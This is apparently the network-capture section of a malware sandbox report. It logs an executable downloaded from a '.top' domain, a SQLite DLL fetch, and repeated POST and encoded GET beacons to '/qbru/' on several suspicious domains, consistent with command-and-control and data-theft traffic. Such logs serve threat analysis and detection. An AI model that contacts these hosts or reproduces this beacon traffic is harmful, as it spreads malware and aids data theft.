Network Analysis

GET /_errorpages/millianozx.exe HTTP/1.1 Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3) Host: fresh1.ironoreprod.top Connection: Keep-Alive

HTTP/1.1 200 OK Date: Tue, 24 Oct 2023 00:33:43 GMT Content-Type: application/octet-stream Content-Length: 737792 Connection: keep-alive Last-Modified: Mon, 23 Oct 2023 03:33:16 GMT ETag: "b4200-60859e1f0c0d3" Cache-Control: max-age=14400 CF-Cache-Status: REVALIDATED Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=1HVE7maheuLZ4KGYjZNZlLhHTMd72Wl3pyu96Gj9RHkPbvq1I3XFwAx9f1KVxk%2FNjbcvAFGbZ4bOgMYml4F03MUZZCXtU2q%2BymKzMAA5ozkU2A9i2F4udz2x0nIw9NlC8ZMgJtsH%2Fi9U"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 81ae21427fb719f9-KIX alt-svc: h3=":443"; ma=86400

POST /qbru/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.jantanslot.xyz Content-Length: 171 Cache-Control: max-age=0 Connection: close Content-Type: application/x-www-form-urlencoded Origin: http://www.jantanslot.xyz Referer: http://www.jantanslot.xyz/qbru/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0

HTTP/1.1 405 Not Allowed date: Tue, 24 Oct 2023 00:34:47 GMT content-type: text/html content-length: 154 server: NginX connection: close

GET /qbru/?11=kMrvYXKBNwaF4E5tRezPj5SMX6XQ+ILaa8SXqvb1iySbFntGTH4YGFtALrA4UwFGSL+bmisufUZFVXdWgTdYvXpvkIKAL06RY9IgoHM=&LQk=H8uqa HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Host: www.jantanslot.xyz Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0

HTTP/1.1 200 OK date: Tue, 24 Oct 2023 00:34:50 GMT content-type: text/html; charset=UTF-8 transfer-encoding: chunked vary: Accept-Encoding x-powered-by: PHP/8.1.17 expires: Mon, 26 Jul 1997 05:00:00 GMT cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 pragma: no-cache x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_Ru5wQ/K5BDFviTLZxhhDQgckByR/nxPTtWBO5kEjzz0NScAP/PEvw/luuTm8030ALCCGTS+cQS6AgBj9zHKSWw== last-modified: Tue, 24 Oct 2023 00:34:50 GMT x-cache-miss-from: parking-697977dd84-vn7t6 server: NginX connection: close

GET /2017/sqlite-dll-win32-x86-3160000.zip HTTP/1.1 Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3) Host: www.sqlite.org Connection: Keep-Alive

HTTP/1.1 200 OK Connection: keep-alive Date: Tue, 24 Oct 2023 00:34:51 GMT Last-Modified: Mon, 02 Jan 2017 21:10:17 GMT Cache-Control: max-age=120 ETag: "m586ac1b9s6b84e" Content-type: application/zip; charset=utf-8 Content-length: 440398

POST /qbru/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.0857.bet Content-Length: 3407 Cache-Control: max-age=0 Connection: close Content-Type: application/x-www-form-urlencoded Origin: http://www.0857.bet Referer: http://www.0857.bet/qbru/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0

POST /qbru/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.0857.bet Content-Length: 183 Cache-Control: max-age=0 Connection: close Content-Type: application/x-www-form-urlencoded Origin: http://www.0857.bet Referer: http://www.0857.bet/qbru/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0

HTTP/1.1 405 Not Allowed date: Tue, 24 Oct 2023 00:35:04 GMT content-type: text/html content-length: 154 server: NginX connection: close

GET /qbru/?11=k1gkcJ6tXVBJWcfD5JFdj9jh1GwKScxeJP6VCK1BK8ixvV5VgN0eYG6gTrvugstFS6wF93GzuEqrlILkxAhWglV5VSYx8lCBsUKmTZc=&LQk=H8uqa HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Host: www.0857.bet Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0

HTTP/1.1 200 OK date: Tue, 24 Oct 2023 00:35:07 GMT content-type: text/html; charset=UTF-8 transfer-encoding: chunked vary: Accept-Encoding x-powered-by: PHP/8.1.17 expires: Mon, 26 Jul 1997 05:00:00 GMT cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 pragma: no-cache x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_YAGERrIbkp7N1qd9jBxynZ8Hnw8U3yPsCVXveafS2vZ69onDOlQ8xFaWYnkU0F0gd4BKsu87b9CPfSrkCGUVnQ== last-modified: Tue, 24 Oct 2023 00:35:07 GMT x-cache-miss-from: parking-697977dd84-k4d52 server: NginX connection: close

POST /qbru/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.micsites.com Content-Length: 3407 Cache-Control: max-age=0 Connection: close Content-Type: application/x-www-form-urlencoded Origin: http://www.micsites.com Referer: http://www.micsites.com/qbru/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0

HTTP/1.1 404 Not Found Date: Tue, 24 Oct 2023 00:35:13 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://micsites.com/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 5177 Content-Type: text/html; charset=UTF-8

POST /qbru/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.micsites.com Content-Length: 183 Cache-Control: max-age=0 Connection: close Content-Type: application/x-www-form-urlencoded Origin: http://www.micsites.com Referer: http://www.micsites.com/qbru/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0

HTTP/1.1 404 Not Found Date: Tue, 24 Oct 2023 00:35:15 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://micsites.com/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 5177 Content-Type: text/html; charset=UTF-8

GET /qbru/?11=mDZ2amPM8lWqbeAYWcDKqdpiecTJ9prCGyOd2oWqi+yKbAV58Q/8VgXtpTMQ/k9YpjQqe6WeoDmxmXaptUBmMq6sDIRlbyaAuf4h15w=&LQk=H8uqa HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Host: www.micsites.com Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0

HTTP/1.1 301 Moved Permanently Date: Tue, 24 Oct 2023 00:35:18 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Upgrade: h2,h2c Connection: Upgrade, close Location: http://micsites.com/qbru/?11=mDZ2amPM8lWqbeAYWcDKqdpiecTJ9prCGyOd2oWqi+yKbAV58Q/8VgXtpTMQ/k9YpjQqe6WeoDmxmXaptUBmMq6sDIRlbyaAuf4h15w=&LQk=H8uqa Content-Length: 0 Content-Type: text/html; charset=UTF-8

POST /qbru/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.thefulfilleddog.net Content-Length: 3407 Cache-Control: max-age=0 Connection: close Content-Type: application/x-www-form-urlencoded Origin: http://www.thefulfilleddog.net Referer: http://www.thefulfilleddog.net/qbru/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0

POST /qbru/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.thefulfilleddog.net Content-Length: 183 Cache-Control: max-age=0 Connection: close Content-Type: application/x-www-form-urlencoded Origin: http://www.thefulfilleddog.net Referer: http://www.thefulfilleddog.net/qbru/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0

HTTP/1.1 405 Not Allowed date: Tue, 24 Oct 2023 00:35:27 GMT content-type: text/html content-length: 154 server: NginX connection: close

GET /qbru/?11=1EPu3c3qpncBWw5AsPbmO/uk1IuylEz0DkrYlvCIwqSSQ2S5BpR/UJA6bHVgZ1CeA3nqd3Tiw9yI3Ym4nbGMG+qDHZJm8eYC1fBVsac=&LQk=H8uqa HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Host: www.thefulfilleddog.net Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0

HTTP/1.1 200 OK date: Tue, 24 Oct 2023 00:35:29 GMT content-type: text/html; charset=UTF-8 transfer-encoding: chunked vary: Accept-Encoding x-powered-by: PHP/8.1.17 expires: Mon, 26 Jul 1997 05:00:00 GMT cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 pragma: no-cache x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_lDoDBSFFZprDQzIe3btE8wxt6jD+g2vpxS5m9PxoKw2Te9NSe2IF7dauhh+Yb8/vkBehKGVkm3HXbb2JyCCx1Q== last-modified: Tue, 24 Oct 2023 00:35:29 GMT x-cache-miss-from: parking-697977dd84-lqf6d server: NginX connection: close

POST /qbru/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.kectapp.xyz Content-Length: 3407 Cache-Control: max-age=0 Connection: close Content-Type: application/x-www-form-urlencoded Origin: http://www.kectapp.xyz Referer: http://www.kectapp.xyz/qbru/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0

HTTP/1.1 404 Not Found Date: Tue, 24 Oct 2023 00:35:35 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html

POST /qbru/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.kectapp.xyz Content-Length: 183 Cache-Control: max-age=0 Connection: close Content-Type: application/x-www-form-urlencoded Origin: http://www.kectapp.xyz Referer: http://www.kectapp.xyz/qbru/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0

HTTP/1.1 404 Not Found Date: Tue, 24 Oct 2023 00:35:38 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html